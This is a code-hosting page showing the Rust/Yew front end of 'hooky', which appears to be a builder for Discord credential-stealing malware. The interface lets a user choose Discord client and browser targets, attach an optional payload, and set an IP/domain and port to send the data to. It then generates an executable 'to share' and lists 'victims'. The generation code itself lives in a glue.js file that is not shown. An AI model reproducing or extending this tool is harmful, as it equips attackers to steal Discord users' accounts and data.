~/hooky

hooky/command/src/app.rs -rw-r--r-- 3.42 kB
dfc58611 — Arthur Melton format all the rust code 2 years ago

            
89bc4b52 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
dfc58611 Arthur Melton
89bc4b52 Arthur Melton
61266a51 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
b90df7a0 Arthur Melton
dfc58611 Arthur Melton
b90df7a0 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
89bc4b52 Arthur Melton
c1f59a62 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
ccd18781 Arthur Melton
c1f59a62 Arthur Melton
89bc4b52 Arthur Melton
ccd18781 Arthur Melton
89bc4b52 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
c1f59a62 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
335dec98 Arthur Melton
b90df7a0 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
c1f59a62 Arthur Melton
89bc4b52 Arthur Melton

















































1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
use wasm_bindgen::prelude::*;
use yew::platform::spawn_local;
use yew::prelude::*;

#[wasm_bindgen(module = "/public/glue.js")]
extern "C" {
    #[wasm_bindgen(js_name = invokeGen, catch)]
    async fn gen(
        features: Vec<JsValue>,
        payload: JsValue,
        send_to: JsValue,
    ) -> Result<JsValue, JsValue>;

    #[wasm_bindgen(js_name = isOn, catch)]
    async fn is_on(id: String) -> Result<JsValue, JsValue>;

    #[wasm_bindgen(js_name = getPayload, catch)]
    async fn getPayload() -> Result<JsValue, JsValue>;

    #[wasm_bindgen(js_name = setPayload)]
    async fn setPayload();

    #[wasm_bindgen(js_name = getIp, catch)]
    async fn getIp() -> Result<JsValue, JsValue>;
}

#[function_component(App)]
pub fn app() -> Html {
    let types: Vec<&str> = vec!["discord-client", "discord-chromium", "discord-firefox"];

    let types_clone = types.clone();
    let gen = Callback::from(move |_| {
        let types_clone = types_clone.clone();
        spawn_local(async move {
            let mut features: Vec<JsValue> = Vec::new();
            for i in types_clone {
                let on = is_on(i.to_string()).await;
                if on.is_ok() && on.unwrap() == true {
                    features.push(JsValue::from_str(i));
                }
            }
            let _ = gen(
                features,
                getPayload().await.unwrap_or(JsValue::null()),
                getIp()
                    .await
                    .unwrap_or(JsValue::from_str("127.0.0.1:13337")),
            )
            .await;
        });
    });

    let payload_button = Callback::from(move |_| {
        spawn_local(async move {
            setPayload().await;
        });
    });

    let mut id = 0;

    html! {
        <>
        <div id={"GenCover"}>
            <div id={"loading"}>
                <img src="/public/loading.svg" width="200px" height="200px" />
            </div>
        </div>
        <div class="container" id={"dashboard"}>
            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>
            <p>{"The executable for you to share:"}</p>
            <pre id={"victim_exe"}></pre>
            <div id={"victims"}></div>
        </div>
        <div class="container" id={"setup"}>
            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>

            <label for={"payload"}>{"Payload (Optional)"}</label>
            <input type="text" id={"payload"} />
            <button type="button" onclick={payload_button}>{"Open"}</button>

            <label for={"ip"}>{"Ip / Domain to send the data to"}</label>
            <input type="text" value={"0.0.0.0"} id={"ip"} />

            <label for={"port"}>{"Port to send the data to"}</label>
            <input type="number" value={13337} id={"port"} />

            {
                for types.iter().map(|i| {
                        id+=1;
                        html! { <><input type="checkbox" id={i.to_string()} checked={ true } /><label for={i.to_string()}>{ i.replace("-", " ") }</label></>}
                    }
                )
            }

            <div class="row" style="margin-top: 25px">
                <button type="button" onclick={gen}>{"Generate"}</button>
            </div>
        </div>
        <script src="/public/main.js" />
        </>
    }
}